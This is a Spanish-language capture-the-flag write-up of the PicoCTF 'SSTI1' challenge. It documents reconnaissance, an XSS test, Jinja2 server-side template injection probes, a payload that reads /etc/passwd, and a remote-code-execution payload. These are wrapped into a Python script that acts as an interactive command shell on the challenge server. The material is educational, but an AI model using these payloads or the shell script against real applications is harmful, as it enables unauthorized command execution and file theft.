SSTI1 - PicoCTF

WRITE UP

Ejemplo: atlas:picoctf.net:51658 (víctima) TTL= 63 LINUX

ANÁLISIS WEB: RECONOCNIMIENTO

Dentro de la página tenemos un párrafo que nos habla acerca de que podemos publicar cosas, seguido de un campo para introducir texto y enviarlo.

Vamos a ver como reacciona la página ante un texto normal.

Nos lo refleja en la pantalla la salida.

POSIBLES VULNERABILIDADES

Si probamos con XSS (CROSS-SITE SCRIPTING) nos lo reflejara pero en esta máquina no hay cookies para robar (Cookie Hijacking), ni tampoco podemos hacer nada a nivel servidor.

<script>alert(0);</script>

WHATWEB

Haremos un reconocimiento a nivel web mediante whatweb para escanear tecnologías, lenguaje… de la página para ver por donde nos podemos aprovechar.

Usa Python por lo que en la mayoría de casos y si tenemos suerte, se puede acontecer un Server Side Template Injection - SSTI.

whatweb http://atlas:picoctf.net:51658/

Una búsqueda en Google sobre que es Werkzeug:

VULNERABILIDAD: SSTI (SERVER SIDE TEMPLATE INJECTION)

Viendo esto ya nos podemos ver cual va a ser el objetivo para explotar este challenge

PYTHON - JINJA2 | TEST

Para saber como injectar código y así mismo que payload usar, nos iremos a este repositorio de GitHub cual contiene Payloads de todo: PayloadsAllTheThings

Si vamos siguiendo el repositorio nos deja una serie de inyecciones cuales pueden que sea vulnerables dependiendo de nuestra necesidad, la nuestra ahora es probar si es vulnerable.

Probamos {{4*4}} , y si sale “16” quiere decir que es vulnerable.

Es vulnerable, efectivamente. Probamos con otro.

Probamos {{7*'7'}} , y tendría que salir “7777777”.

Se acontece la inyección, exitosamente. Esto ya nos dice que se trata de una plantilla Jinja2 o un motor compatible con este.

PYTHON - JINJA2 | READ REMOTE FILE

Ahora probaremos a intentar leer archivos a nivel sistema, cual sería muy crítico en caso que llegue a interpretarse.

Injectamos python {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }} y nos debería leer el archivo /etc/passwd.

Nos lo lee exitosamente.

PYTHON - JINJA2 | REMOTE CODE EXECUTION (RCE)

Por último nos queda probar a ejecutar de forma remota comandos. Hay varios, así hay que ir probando.

Probamos con: (Este nos ejecutara el comando id)

python {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Nos ejecuta el comando y encima estamos como usuario root.

SCRIPT PYTHON: AUTOMATIZAR COMANDOS

Crearemos un script en Python para ejecutar comandos de forma más cómoda en nuestra shell, desde el servidor a nuestro máquina a nivel local.

Lo que necesitaremos es “CTRL + ALT + I” > Herramientas de Desarrollador > Network. Enviaremos la solicitud del Payload para ejecutar el comando nuevamente y en “announce” copiaremos la URL a cual se hace la Petición.

También la solicitud que es la data que vamos a enviar, la necesitamos también.

Resultado del script en Python:

Formato copiable:

#!/usr/bin/env python3  
  
import requests  
import re #Librería para el manejo de expresiones regulares  
  
main_url = "http://rescued-float.picoctf.net:58464/announce" #Indicamos la URL principal  
  
while True: #Bucle infinito  
  
    user_input = input("[~] > ") #Tenemos que indicar el comando que comandos queremos ejecutar, que ira dentro de nuestro user_input  
  
    data_post = { #Indicar la Data que por POST vamos a enviar  
            "content": '{{self.__init__.__globals__.__builtins__.__import__("os").popen("' + user_input + '").read()}}' #El campo content valdrá el Payload que le pongamos.| los + no hacen falta  
    }  
  
    #print(data_post) Ver lo que vale post_data | no hace falta, solo para testear lo que vamos a enviar  
    r = [requests.post](http://requests.post/)(main_url, data=data_post) #Lanzar la solicitud por POST al servidor (main_url) y a nivel data, enviar la data definida, por POST  
    response = re.findall(r'align="center">(.*)</h1>', r.text, re.DOTALL)[0] #Indicar una regex a contemplar para la respuesta del lado del servidor. Entre parentesis indicamos la cadena y entre corchetes el primer elemento. Por último el dotall para que tenga en cuenta todos los saltos de línea.  
    print(response) #Mostrar la respuesta por parte del servidor, en este caso de response

BANDERA

La bandera estará en la ruta actual.

cat flag